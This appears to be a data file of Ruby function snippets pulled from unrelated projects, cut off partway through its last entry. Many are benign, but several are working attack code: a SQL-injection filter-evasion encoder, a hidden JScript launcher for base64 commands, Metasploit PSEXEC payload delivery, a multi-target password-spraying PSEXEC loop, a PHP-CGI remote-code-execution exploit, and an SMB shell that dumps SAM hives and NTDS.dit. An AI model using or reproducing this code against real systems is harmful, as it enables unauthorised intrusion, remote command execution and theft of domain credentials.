"def special_usage\n puts \"Available Options for Specialty Tools Menu: \".underline.white\n puts \"back \".light_yellow + \" => \".white + \"Return to Main Menu\".light_red\n puts \"coldfusion\".light_yellow + \" => \".white + \"Coldfusion Tools\".light_red\n puts \"moinmoin\".light_yellow + \" => \".white + \"MoinMoin RCE\".light_red\n puts \"phpcgi\".light_yellow + \" => \".white + \"PHP CGI RCE Tools\".light_red\n puts \"phpBB\".light_yellow + \" => \".white + \"phpBB Tools\".light_red\n puts \"ipb\".light_yellow + \" => \".white + \"IPB Tools\".light_red\n# puts \"joomla\".light_yellow + \" => \".white + \"Joomla! Tools\".light_red\n# puts \"myBB\".light_yellow + \" => \".white + \"MyBB Tools\".light_red\n# puts \"vBulletin\".light_yellow + \" => \".white + \"vBulletin Tools\".light_red\n puts \"wp\".light_yellow + \" => \".white + \"WordPress Tools\".light_red\n puts \"fckeditor\".light_yellow + \" => \".white + \"FCKEditor Tools\".light_red\n print_line(\"\")\nend",
"def osteen\r\n\r\nputs \" You can change yout world by changing your words\"\r\nend",
"def helper\n return puts '\n ===================== CHANGE COORDINATES SPACE PROBES =========================\n | To run script you need to set a data of upland, actual position and commands |\n | Example: |\n | ruby change_coordinate.rb \" |\n | 5 5 |\n | 1 2 N |\n | LMLMLMLMM |\n | 3 3 E |\n | MMRMMRMRRM\" |\n | |\n | Note 1: You can use a file with extension csv or txt to run. Example: |\n | ruby change_coordinate.rb file.csv |\n | Or... |\n | ruby change_coordinate.rb file.txt |\n | |\n | Note 2: The file net to be exactly like first example. |\n | |\n | @author: fabiosoaresv |\n | @email: [email protected] |\n ================================================================================\n '\n end",
"def wip\n end",
"def execute\n\t\t\tres = instance_exec(@node, &Glyph::MACROS[@name]).to_s\n\t\t\tres.gsub(/\\\\*([\\[\\]\\|])/){\"\\\\#$1\"}# : res\n\t\tend",
"def hex_encode_keywords\n if self =~ /(select)/i\n foo=$1\n newstr = self.gsub(foo, foo.gsub(/e/i, \"%#{'e'.hexme}\"))\n else\n newstr = self\n end\n if newstr =~ /(update)/i\n foo=$1\n newstr = newstr.gsub!(foo, foo.sub(/p/i, \"%#{'p'.hexme}\"))\n end\n if newstr =~ /(insert)/i\n foo=$1\n newstr = newstr.gsub!(foo, foo.sub(/s/i, \"%#{'s'.hexme}\"))\n end\n if newstr =~ /(delete)/i\n foo=$1\n newstr = newstr.gsub!(foo, foo.sub(/l/i, \"%#{'l'.hexme}\"))\n end\n if newstr =~ /(union)/i\n foo=$1\n newstr = newstr.gsub!(foo, foo.gsub(/n/i, \"%#{'n'.hexme}\"))\n end\n if newstr =~ /[, ](concat)/i\n foo=$1\n newstr = newstr.gsub!(foo, foo.gsub(/c/i, \"%#{'c'.hexme}\"))\n end\n if newstr =~ /(group_concat)/i\n foo=$1\n newstr = newstr.gsub!(foo, foo.gsub(/o/i, \"%#{'o'.hexme}\"))\n end\n if newstr =~ /(information_schema)/i\n foo=$1\n newstr = newstr.gsub!(foo, foo.gsub(/a/i, \"%#{'a'.hexme}\"))\n end\n if newstr =~ /(cast)/i\n foo=$1\n newstr = newstr.gsub!(foo, foo.sub(/t/i, \"%#{'t'.hexme}\"))\n end\n if newstr =~ /(convert)/i\n foo=$1\n newstr = newstr.gsub!(foo, foo.sub(/v/i, \"%#{'v'.hexme}\"))\n end\n if newstr =~ /(substring)/i\n foo=$1\n newstr = newstr.gsub!(foo, foo.gsub(/s/i, \"%#{'s'.hexme}\"))\n end\n if newstr =~ /(sleep)/i\n foo=$1\n newstr = newstr.gsub!(foo, foo.sub(/p/i, \"%#{'p'.hexme}\"))\n end\n if newstr =~ /(benchmark)/i\n foo=$1\n newstr = newstr.gsub!(foo, foo.sub(/b/i, \"%#{'b'.hexme}\"))\n end\n return newstr\n end",
"def mycelial_gristmilling()\n xenopteri_shebang(sectwise_cessor, ungular_pietism)\n end",
"def vietnamese_writing_instructions\n return '' unless CONF[:locale] == 'vi'\n <<-EOL\n<p>#{vietnamese_smart_questions}</p>\n<p>Nến tránh viết tắt. <b>Dấu câu nên viết vào sát chữ trước nó, dấu câu và chữ sau nó nên cách một khoảng trắng.</b></p>\n<ul>\n <li>\"Tôi là Hòa . Tôi là sinh viên.Bạn tên gì ?\" --> \"Tôi là Hòa. Tôi là sinh viên. Bạn tên gì?\"</li>\n <li>\"2 lựa chọn : bút , thước\" --> \"2 lựa chọn: bút, thước\"</li>\n</ul>\nEOL\n end",
"def bash_on_windows?; end",
"def print_brands_ASCII\n $report_file.puts \"\n\n ╔╗ ┬─┐┌─┐┌┐┌┌┬┐┌─┐\n ╠╩╗├┬┘├─┤│││ ││└─┐\n ╚═╝┴└─┴ ┴┘└┘─┴┘└─┘\n\"\nend",
"def script\n\t\tputs \"You should extend script()\"\n\tend",
"def execute_command\n begin\n if @cgi.has_key?('type') then\n doc = REXML::Document.new\n command = doc.add_element 'COMMAND'\n @cgi.params.each_pair { |key,value| command.attributes[key]=value}\n xmlCommand = doc.to_s\n socket = TCPSocket.new(@host,@port)\n socket.puts xmlCommand \n xmlResult = socket.gets.chop\n docResult = REXML::Document.new xmlResult\n end\n rescue\n puts 'Probleem bij uitvoeren commando'\n exit\n end\n end",
"def jscript_launcher\n %Q|\n var b64 = WScript.arguments(0);\n var dom = new ActiveXObject(\"MSXML2.DOMDocument.3.0\");\n var el = dom.createElement(\"root\");\n el.dataType = \"bin.base64\"; el.text = b64; dom.appendChild(el);\n var stream = new ActiveXObject(\"ADODB.Stream\");\n stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);\n stream.Position=0; stream.type=2; stream.CharSet = \"us-ascii\"; stream.Position=0;\n var cmd = stream.ReadText();\n (new ActiveXObject(\"WScript.Shell\")).Run(cmd, 0, true);\n |\n end",
"def psexec\n\t\tprint_status(\"\")\n\t\tprint_status(\"Microsoft Windows Authenticated User Code Execution\")\n\t\tprint_status(\" MSF PSEXEC Payload Delivery \")\n\t\tprint_status(\"\")\n\t\tprint_caution(\"Provide Username: \")\n\t\tzUSER=gets.chomp\n\n\t\tprint_caution(\"Provide Password or Hash: \")\n\t\tzPASS=gets.chomp\n\n\t\tprint_caution(\"Set Domain (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'Y' or answer.upcase == 'YES'\n\t\t\tprint_caution(\"Domain to use: \")\n\t\t\tzDOMAIN=gets.chomp\n\t\telse\n\t\t\tzDOMAIN='WORKGROUP'\n\t\tend\n\n\t\tprint_caution(\"Target IP: \")\n\t\tzIP=gets.chomp\n\n\t\tprint_caution(\"Use SMB Port 445 (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\tprint_caution(\"Port: \")\n\t\t\tzPORT=gets.chomp\n\t\telse\n\t\t\tzPORT='445'\n\t\tend\n\n\t\tprint_caution(\"Use ADMIN$ share (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\tprint_caution(\"Provide share to use: \")\n\t\t\tzSHARE=gets.chomp\n\t\telse\n\t\t\tzSHARE='ADMIN$'\n\t\tend\n\n\t\tprint_status(\"Payload Selection\")\n\t\tprint_caution(\"NOTE: remember to choose a Windows Payload!\")\n\t\tpayload = payload_selector(2) # 1=Listerner Mode, 2-Exploit Mode, 3=Payload Builder #\n\t\tif payload =~ /bind/\n\t\t\tprint_caution(\"Please provide PORT for Bind Shell: \")\n\t\telse\n\t\t\tprint_caution(\"Please provide PORT to listen on: \")\n\t\tend\n\t\tzLPORT=gets.chomp\n\n\t\trcfile=\"#{$temp}msfassist.rc\"\n\t\tf=File.open(rcfile, 'w')\n\t\tf.puts \"db_connect #{MSFDBCREDS}\"\n\t\tf.puts \"use exploit/windows/smb/psexec\"\n\t\tf.puts \"set RHOST #{zIP}\"\n\t\tf.puts \"set RPORT #{zPORT}\"\n\t\tf.puts \"set SHARE #{zSHARE}\"\n\t\tf.puts \"set SMBDomain #{zDOMAIN}\"\n\t\tf.puts \"set SMBUser #{zUSER}\"\n\t\tf.puts \"set SMBPass #{zPASS}\"\n\t\tf.puts \"set PAYLOAD #{payload}\"\n\t\tf.puts \"set LHOST 0.0.0.0\"\n\t\tf.puts \"set LPORT #{zLPORT}\"\n\t\tf.puts \"set ExitOnSession false\"\n\t\tif payload =~ /meterpreter/\n\t\t\tf.puts \"set AutoRunScript migrate -f\"\n\t\tend\n\t\tf.puts \"exploit -j -z\"\n\t\tf.close\n\t\tprint_status(\"Launching MSF PSEXEC against #{zIP}:#{zPORT} in a new x-window.....\")\n\t\twin_psexec=\"xterm -title 'MSF PSEXEC' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \\\"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\\\"\"\n\t\tfireNforget(win_psexec)\n\t\tprint_line(\"\")\n\tend",
"def run(robot, script)\n\nend",
"def unicode_esc!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 9 )\n\n \n # - - - - main rule block - - - -\n # at line 309:9: '\\\\\\\\' 'u' HEX_DIGIT HEX_DIGIT HEX_DIGIT HEX_DIGIT\n match( 0x5c )\n match( 0x75 )\n hex_digit!\n hex_digit!\n hex_digit!\n hex_digit!\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 9 )\n\n end",
"def w texte\n STDOUT.write \"<p>#{texte}</p>\"\nend",
"def mpx_psexec_wrapper\n\t\tprint_status(\"\")\n\t\tprint_status(\"Microsoft Windows Authenticated User Code Execution\")\n\t\tprint_status(\" HR's Multi-Scan PSEXEC Wrapper \")\n\t\tprint_status(\"\")\n\t\twhile(true)\n\t\t\tprint_caution(\"Provide Targets File with one per line: \")\n\t\t\tzTARGETS=gets.chomp\n\t\t\tif File.exists?(zTARGETS)\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tprint_error(\"\")\n\t\t\t\tprint_error(\"Can't find provided file!\")\n\t\t\t\tprint_error(\"Check the path or permissions and try again....\")\n\t\t\t\tprint_error(\"\")\n\t\t\tend\n\t\tend\n\t\tprint_caution(\"Provide Username: \")\n\t\tzUSER=gets.chomp\n\t\twhile(true)\n\t\t\tprint_caution(\"Select Password Option to use: \")\n\t\t\tprint_caution(\"1) Single Password or LM:NTLM Hash\")\n\t\t\tprint_caution(\"2) List with one Password or LM:NTLM hash per Line\")\n\t\t\tanswer=gets.chomp\n\t\t\tcase answer\n\t\t\twhen 1\n\t\t\t\tprint_caution(\"Provide Password: \")\n\t\t\t\tzPASS=gets.chomp\n\t\t\t\tmeth=1\n\t\t\t\tbreak\n\t\t\twhen 2\n\t\t\t\tprint_caution(\"Path to Password|Hash File to use: \")\n\t\t\t\tzPASSWORDS=gets.chomp\n\t\t\t\tif File.exists?(zPASSWORDS)\n\t\t\t\t\tmeth=2\n\t\t\t\t\tbreak\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"\")\n\t\t\t\t\tprint_error(\"Can't find provided file!\")\n\t\t\t\t\tprint_error(\"Check the path or permissions and try again....\")\n\t\t\t\t\tprint_error(\"\")\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tprint_error(\"\")\n\t\t\t\tprint_error(\"#{answer} is not a valid selection!\")\n\t\t\t\tprint_error(\"Please select a option from the menu....\")\n\t\t\t\tprint_error(\"\")\n\t\t\tend\n\t\tend\n\t\twhile(true)\n\t\t\tprint_caution(\"Path to Binary Payload to Upload & Execute on success: \")\n\t\t\tzEVIL=gets.chomp\n\t\t\tif File.exists?(zEVIL)\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tprint_error(\"\")\n\t\t\t\tprint_error(\"Can't find provided file!\")\n\t\t\t\tprint_error(\"Check the path or permissions and try again....\")\n\t\t\t\tprint_error(\"\")\n\t\t\tend\n\t\tend\n\n\t\t#Multiple Targets to Attack, read into variable and run through them line by line\n\t\ttargets=File.open(zTARGETS).readlines\n\t\ttarget.each do |target|\n\t\t\tif meth.to_i == 1\n\t\t\t\t#Mult Target, Single Pass\n\t\t\t\tsingle_target(zUSER, zPASS, target, zEVIL)\n\t\t\telsif meth.to_i == 2\n\t\t\t\t#Mult Target, Multi Pass\n\t\t\t\tpasswords=File.open(zPASSWORDS).readlines\n\t\t\t\tpasswords.each do |pass|\n\t\t\t\t\tsingle_target(zUSER, pass, target, zEVIL)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def ruby_script(command_lines)\n command = \"#{EMBEDDED_RUBY_PATH} -e \\\"#{command_lines.join(';')}\\\"\"\n run(command)\n end",
"def printCode(txt, file)\n code = txt.get('1.0', 'end - 1c')\n dir = '.'\n dir = ENV['HOME'] if ENV['HOME']\n dir = ENV['TMP'] if ENV['TMP']\n dir = ENV['TEMP'] if ENV['TEMP']\n\n fname = [dir, 'tkdemo-' + file].join(File::Separator)\n open(fname, 'w'){|fid| fid.print(code)}\n begin\n case Tk::TCL_PLATFORM('platform')\n when 'unix'\n msg = `lp -c #{fname}`\n unless $?.exitstatus == 0\n Tk.messageBox(:title=>'Print spooling failure',\n :message=>'エラーが発生しました.' +\n '印刷に失敗したものと思われます : ' + msg)\n end\n when 'windows'\n begin\n printTextWin32(fname)\n rescue => e\n Tk.messageBox(:title=>'Print spooling failure',\n :message=>'エラーが発生しました.' +\n '印刷に失敗したものと思われます : ' +\n e.message)\n end\n when 'macintosh'\n Tk.messageBox(:title=>'Operation not Implemented',\n :message=>'印刷機能はまだ実装されていません')\n else\n Tk.messageBox(:title=>'Operation not Implemented',\n :message=>'検出された環境 ' +\n Tk::TCL_PLATFORM('platform') +\n ' は未知の環境であるため,' +\n '印刷機能は実装されていません: ')\n end\n ensure\n File.delete(fname)\n end\nend",
"def print_products_ASCII\n $report_file.puts \"\n\n ╔═╗┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐┌─┐\n ╠═╝├┬┘│ │ │││ ││ │ └─┐\n ╩ ┴└─└─┘─┴┘└─┘└─┘ ┴ └─┘\n\"\nend",
"def read_script\n DATA.readlines.collect { |line|\n line = line.chomp.delete(\"\\t\").delete(\"\\n\")\n line = \"-e '#{line}' \"\n }.join\nend",
"def full_wp_sk text, vars\r\n\tvars_js = vars.map{|var, v| \"var #{var} = #{v.to_json};\" }.join(\"\\n\")\r\n\t\r\n\tctx = ExecJS.compile(WPSKJS + \"\\n\\n\" + BASE64JS + \"\\n\\n\" + vars_js)\r\n\t\r\n\t# we all love encodings\r\n\t# base64 prevents crazy artifacts\r\n\tnew = Base64.decode64(ctx.eval(\"Base64.encode(wp_sk.cleaner(Base64.decode(#{Base64.encode64(text.force_encoding 'binary').to_json})))\")).force_encoding('utf-8')\r\n\t\r\n\treturn new\r\nend",
"def execute\n # Generate the shell script that will run WEACEExecute.\n File.open(\"#{@ProviderEnv[:Shell][:InternalDirectory]}/Test_Broadcast.sh\", 'w') do |oFile|\n oFile << \"\\#!/bin/sh\n#{@ProviderEnv[:WEACEExecuteCmd]} MasterServer --user Scripts_Tester --process Test_Broadcast -- --comment $1\n\"\n end\n\n return nil\n end",
"def rucas_help_example code\n puts \"> #{code}\"\n puts \" #=> #{$rucas_help_scope.rucas{ Kernel::eval(code) }.inspect}\"\nend",
"def `(cmd) #` for highlighter\n case cmd\n #when /^roll\\ use/\n # can't run b/c of child shell\n when /^roll/\n cmd = cmd.sub('roll', 'ruby -Ilib bin/roll -')\n end\n stdout, stderr = shell.execute(cmd)\n#puts stdout\n#puts stderr\n @stdout = stdout\n @stderr = stderr\n raise \"#{stderr}\" if shell.status != 0\n return @stdout\nend",
"def do_adhoc(str)\n str.gsub!(/^\\\\cleardoublepage$/, \"\")\n str.gsub!(/^\\\\plainifnotempty$/, \"\")\n str.gsub!(/^\\\\small$/, \"\")\n str.gsub!(/^\\\\normalsize$/, \"\")\n str.gsub!(/^\\\\centering$/, \"\")\n\n # URL\n str.gsub!(/\\\\verb\\|(.+?)\\|/) do |m|\n s = $1\n if s =~ URI.regexp\n s\n else\n m\n end\n end\n\n text_pairs = {\n %! \\\\vspace*{-0.1\\\\Cvs}! => \"\",\n %!$10^{12} = 1 \\\\mathrm{TB}$! => %!@<raw>#{LBRACE}|html|10<sup>12</sup>#{RBRACE}=1TB!,\n %!$\\\\exists, \\\\forall$! => %!@<raw>#{LBRACE}|html|∃, ∀#{RBRACE}!,\n %!$\\\\lnot,\\\\land,\\\\lor$! => %!@<raw>#{LBRACE}|html|¬,∧,∨#{RBRACE}!,\n %!$>$! => %!@<raw>#{LBRACE}|html|>#{RBRACE}!,\n %!$<$! => %!@<raw>#{LBRACE}|html|<#{RBRACE}!,\n %!B$^+$! => %!@<raw>#{LBRACE}|html|B<sup>+</sup>#{RBRACE}!,\n %!\\\\paragraph{Step 4.} \\\\ ! => %!\\\\paragraph{Step 4.}!,\n %!\\\\verb|http://s2k-ftp.cs.berkeley.edu/ingres/|! => %!http://s2k-ftp.cs.berkeley.edu/ingres/!,\n %!\\\\verb|pc<code.size()|! => %!@<tt>#{LBRACE}pc<code.size()#{RBRACE}!,\n %!\\\\verb|c|! => %!@<tt>#{LBRACE}c#{RBRACE}!,\n %!\\\\verb|m|! => %!@<tt>#{LBRACE}m#{RBRACE}!,\n %!\\\\verb|z|! => %!@<tt>#{LBRACE}z#{RBRACE}!,\n %!$n$! => %!n!,\n %!$\\\\mathrm{O}(1)$! => %!O(1)!,\n %!$\\\\mathrm{O}(n)$! => %!O(n)!,\n %!$\\\\beta$! => %!@<raw>#{LBRACE}|html|β#{RBRACE}!,\n %!$t$! => %!t!,\n %![$^{11}$C]! => %!@<raw>#{LBRACE}|html|[<sup>11</sup>C]#{RBRACE}!,\n }\n\n text_pairs.each do |k,v|\n regex = Regexp.compile(Regexp.quote(k))\n str.gsub!(regex, v)\n end\n\n str.gsub!(/^\\s*\\\\begin\\{lstlisting\\}\\n((?:.|\\n)*?)\\n\\s*\\\\end\\{lstlisting\\}\\n/) do |m|\n \"//emlist{\\n\" + $1 + \"\\n//}\\n\"\n end\n\n str.gsub!(/^\\s*\\\\begin\\{quote\\}\\n((?:.|\\n)*?)\\n\\s*\\\\end\\{quote\\}\\n/) do |m|\n \"//quote{\\n\" + $1 + \"\\n//}\\n\"\n end\n\n str.gsub!(/^\\s*\\\\(begin|end)\\{(minipage|center|figure)\\}.*$/, \"\")\n\n img_refs = Hash.new\n str.gsub!(/^\\s*\\\\includegraphics(?:\\[.*?\\])?\\{(.+?)\\}[\\s\\n]*\\\\caption\\{(.+?)\\}[\\s\\n]*\\\\label\\{(.+?)\\}/) do |m|\n imgfile = $1.strip\n caps = $2.strip\n label = $3.strip\n if imgfile =~ /\\.eps\\Z/\n imgfile = File.basename(imgfile, \".eps\")\n img_refs[label.strip] = imgfile\n \"\\n//image[#{imgfile}][#{caps}]{\\n//}\\n\"\n elsif imgfile =~ /\\.pdf\\Z/\n imgfile = File.basename(imgfile, \".pdf\")\n img_refs[label.strip] = imgfile\n \"\\n//image[#{imgfile}][#{caps}]{\\n//}\\n\"\n else\n m\n end\n end\n\n str.gsub!(/^\\s*\\\\includegraphics(?:\\[.*?\\])?\\{(.+?)\\}[\\s\\n]*\\\\caption\\{(.+?)\\}/) do |m|\n imgfile = File.basename($1.strip)\n caps = $2.strip\n imgfile.gsub!(/\\.\\w+\\Z/, \"\")\n \"\\n//image[#{imgfile}][#{caps}]{\\n//}\\n\"\n end\n\n str.gsub!(/図\\s*\\\\ref\\{([^\\}]*)\\}/) do |m|\n \"@<img>#{LBRACE}#{img_refs[$1.strip] || $1.strip}#{RBRACE}\"\n end\n\n str.gsub!(/^\\s*\\\\begin\\{enumerate\\}((?:.|\\n)*)\\s*\\\\end\\{enumerate\\}/) do |m|\n block = $1\n idx = 0\n if block =~ /\\\\begin/\n block\n else\n items = block.strip.split(/\\\\item\\s*/).select{|s| s.size > 0}\n items_str = \"\\n\"\n items.each do |item|\n items_str += \" \" + (idx += 1).to_s + \". \" + item.gsub(/\\n\\s*/,\"\").strip + \"\\n\"\n end\n items_str\n end\n end\n\n str.gsub!(/^\\s*\\\\begin\\{itemize\\}((?:.|\\n)*)\\s*\\\\end\\{itemize\\}/) do |m|\n block = $1\n if block =~ /\\\\begin/\n block\n else\n items = block.strip.split(/\\\\item\\s*/).select{|s| s.size > 0}\n items_str = \"\\n\"\n items.each do |item|\n items_str += \" * \" + item.gsub(/\\n\\s*/,\"\").strip + \"\\n\"\n end\n items_str\n end\n end\n\n # brainfuck\n str.gsub!(/\\\\verb\\|([-+><,\\.\\[\\] ]+)\\|/) do |m|\n %!@<tt>#{LBRACE}#{$1}#{RBRACE}!\n end\n\n # file url in hoge.tex\n str.gsub!(/\\{\\\\scriptsize((?:.|\\n)+?)\\}/) do |m|\n s = $~[1].strip\n if s.strip =~ URI.regexp && s == $~[0]\n s\n else\n m\n end\n end\n\n str\nend",
"def apache_script_alias_rce_exploit_cmd(link, command)\n if $config['HTTP']['TOR_PROXY']\n print_error(\"Sorry - NO TOR Support for this module at this time!\")\n return nil\n end\n test_payload = \"<?php print(___); system(#{command.strip.chomp}); print(___); ?>\"\n uri = URI.parse(link.sub(/\\/$/, '') + URI.encode('/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=\"\"+-d+open_basedir=none+-d+auto_prepend_file=php://input+-n'))\n if $config['HTTP']['PROXY']\n http = Net::HTTP.new(uri.host, uri.port, $config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n else\n http = Net::HTTP.new(uri.host, uri.port)\n end\n request = Net::HTTP::Post.new(uri.request_uri, { \"User-Agent\" => $config['HTTP']['HTTP_USER_AGENT'] })\n request.body = test_payload\n if $config['HTTP']['REF']\n request['Referer'] = $config['HTTP']['REFERER']\n end\n if $config['HTTP']['HTTP_HEADERS_ADD']\n $config['HTTP']['HTTP_HEADERS'].each do |k, v|\n request[\"#{k}\"] = \"#{v}\"\n end\n end\n if $config['HTTP']['COOKIESUPPORT']\n cookies = File.open($config['HTTP']['COOKIEFILE']).read\n request[\"Cookie\"] = cookies.to_s\n end\n if $config['HTTP']['HTTP_AUTH']\n request.basic_auth $config['HTTP']['HTTP_AUTH_USER'], $config['HTTP']['HTTP_AUTH_PASS']\n end\n response = http.request(request)\n if response.body.gsub(/Notice: Use of undefined constant ___ - assumed '___' in - on line \\d+/i, '') =~ /___(.+)___|______/m\n return true\n else\n return false\n end\nend",
"def core_shell\n prompt = \"(yasp)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^clear|^cls|^banner/i\n cls\n banner\n core_shell\n when /^help|^ls$/i\n show_usage\n core_shell\n when /^exit|^quit/i\n puts\n puts \"OK, exiting yasp session\".light_red + \"....\".white\n puts\n exit 69;\n when /^config|^credentials/i\n puts\n cred_config\n credentials = credz\n if @working\n puts \"Target\".light_green + \": #{credentials[0]}:#{credentials[1]}\".white\n puts \"Hostname\".light_green + \": #{credentials[6]}\".white\n puts \"Domain\".light_green + \": #{credentials[4]}\".white unless credentials[4].nil?\n puts \"User\".light_green + \": #{credentials[2]}\".white\n puts \"Pass\".light_green + \": #{credentials[3]}\".white\n puts \"Pass is Hash\".light_green + \": #{credentials[5].to_s.capitalize}\"\n end\n puts\n core_shell\n when /^os.scan|^version.scan|^discovery.scan/i\n puts\n smb_os_discovery\n puts\n core_shell\n when /^os.exec/i\n puts\n if @working\n line = Readline.readline(\"(Command to Run)> \", true)\n cmd = line.chomp\n puts \"Attempting to run command\".light_blue + \": #{cmd}\".white\n smb_psexec(cmd)\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^os.pshexec$|^powershell$|^psh.payload$|^psh.exec$/i\n puts\n if @working\n if File.exists?(\"#{MSFPATH}msfvenom\")\n power_shell_hell\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Can't find MSFVENOM to build payloads!\".white\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Check or provide MSF Path in source to correct and enable this option......\".white\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^os.shell/i\n puts\n if @working\n if @tmp.nil?\n # Failed to find out %TEMP%, ask user for writable location...\n puts \"Provide a writable location for temporary storage, like\".light_yellow + \": C:\\\\\\\\\\\\\\\\WINDOWS\\\\\\\\Temp\".white\n line = Readline.readline(\"(Temp Path to use)> \", true)\n tmp = line.chomp\n else\n tmp=@tmp\n end\n puts puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Dropping to pseudo shell.....\".white\n cls\n banner\n prompt = \"(PSEXEC Shell)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n text = \"#{tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.txt\"\n bat = \"#{tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.bat\"\n case cmd\n when /^exit$|^quit$|^back$/i\n puts\n puts \"OK, Returning to Main Menu\".light_red + \"....\".white\n break\n else\n begin\n cmdexec = \"%COMSPEC% /C echo #{cmd} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}\"\n smb_psexec(cmdexec, false)\n get_output(text, true)\n files = [ text.gsub('\\\\', '\\\\\\\\'), bat.gsub('\\\\', '\\\\\\\\') ]\n cleanup_after(files, false)\n rescue Errno::ENOENT => e\n puts \"#{e}\".light_red\n rescue => e\n puts \"#{e}\".light_red\n end\n end\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^up.exec/i\n puts\n if @working\n while(true)\n line = Readline.readline(\"(Local File to Upload)> \", true)\n lfile = line.chomp\n if File.exists?(lfile)\n break\n else\n puts\n puts \"Can't find file\".light_red + \"!\".white\n puts \"Check path or permissions and try again\".light_red + \".....\".white\n puts\n end\n end\n ldir = lfile.split('/')[0..-2].join('/') + '/'\n fname = lfile.split('/')[-1]\n line = Readline.readline(\"(Remote Path to Upload to)> \", true)\n rdir = line.chomp.sub('C:', '').sub('c:', '')\n\n # Smbclient looks for file uploads in current dir so we temporarily change\n Dir.chdir(ldir) do\n if @smbclient.smb_upload(fname, rdir)\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \"#{lfile} has been uploaded to #{rdir}#{fname}\"\n else\n puts\n puts \"Returning to main menu due to error with upload\".light_red + \"....\".white\n puts\n core_shell\n end\n end\n puts \"Attempting to run service payload now\".light_blue + \".....\".white\n smb_psexec(rdir + fname)\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^get.hives$|^key.hives$|^registry.download$|^dl.reg$/i\n puts\n if @working\n if @tmp.nil?\n # Failed to find out %TEMP%, ask user for writable location...\n puts \"We will first need to backup registry to location on remote target\".light_yellow + \".....\".white\n puts \"Provide a writable location for temporary storage, like\".light_yellow + \": C:\\\\\\\\\\\\\\\\WINDOWS\\\\\\\\Temp\".white\n line = Readline.readline(\"(Temp Path to use for Backups)> \", true)\n tmp = line.chomp\n else\n tmp=@tmp\n end\n make_reg_backups(tmp)\n sleep(5) # Dramatic pause and to avoid issues running to quickly (had some minor issues which this pause seemed to resolve)\n download_hives([tmp.gsub('\\\\', '\\\\\\\\') +\"\\\\\\\\sys\", tmp.gsub('\\\\', '\\\\\\\\') + \"\\\\\\\\sec\", tmp.gsub('\\\\', '\\\\\\\\') + \"\\\\\\\\sam\", tmp.gsub('\\\\', '\\\\\\\\') + \"\\\\\\\\sw\" ])\n cleanup_after([tmp.gsub('\\\\', '\\\\\\\\') +\"\\\\\\\\sys\", tmp.gsub('\\\\', '\\\\\\\\') + \"\\\\\\\\sec\", tmp.gsub('\\\\', '\\\\\\\\') + \"\\\\\\\\sam\", tmp.gsub('\\\\', '\\\\\\\\') + \"\\\\\\\\sw\"])\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^get.ntds$|^dl.ntds$|^ntds.download$/i\n if @working\n if @tmp.nil?\n # Failed to find out %TEMP%, ask user for writable location...\n puts \"Provide a writable location for temporary storage, like\".light_yellow + \": C:\\\\\\\\\\\\\\\\WINDOWS\\\\\\\\Temp\".white\n line = Readline.readline(\"(Temp Path to use for Backups)> \", true)\n tmp = line.chomp\n else\n tmp=@tmp\n end\n line = Readline.readline(\"(Drive Letter Containing NTDS)> \", true)\n drive = line[0]\n id, path = vsc_create(drive)\n if not id.nil? and not path.nil?\n begin\n cmd1 = \"%COMSPEC% /C copy /Y \\\"#{path}\\\\WINDOWS\\\\NTDS\\\\NTDS.dit\\\" #{@tmp}\\\\NTDS.dit\"\n cmd2 = \"%COMSPEC% /C copy /Y \\\"#{path}\\\\WINDOWS\\\\System32\\\\config\\\\SYSTEM\\\" #{@tmp}\\\\SYSTEM\"\n smb_psexec(cmd1, false)\n sleep(3)\n smb_psexec(cmd2, false)\n sleep(3)\n hives=[ \"#{@tmp}\\\\NTDS.dit\", \"#{@tmp}\\\\SYSTEM\" ]\n download_hives(hives)\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Removing created Volume Shadow Copy....\".white\n cmd = \"%COMSPEC% /C vssadmin delete shadows /Shadow=#{id}\"\n smb_psexec(cmd1, false)\n sleep(3)\n cleanup_after(hives, false)\n puts\n rescue Rex::Proto::SMB::Exceptions::InvalidCommand => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Error copying Volume Shadow Copy to Temp location!\".white if verbose\n end\n end\n else\n puts \"You 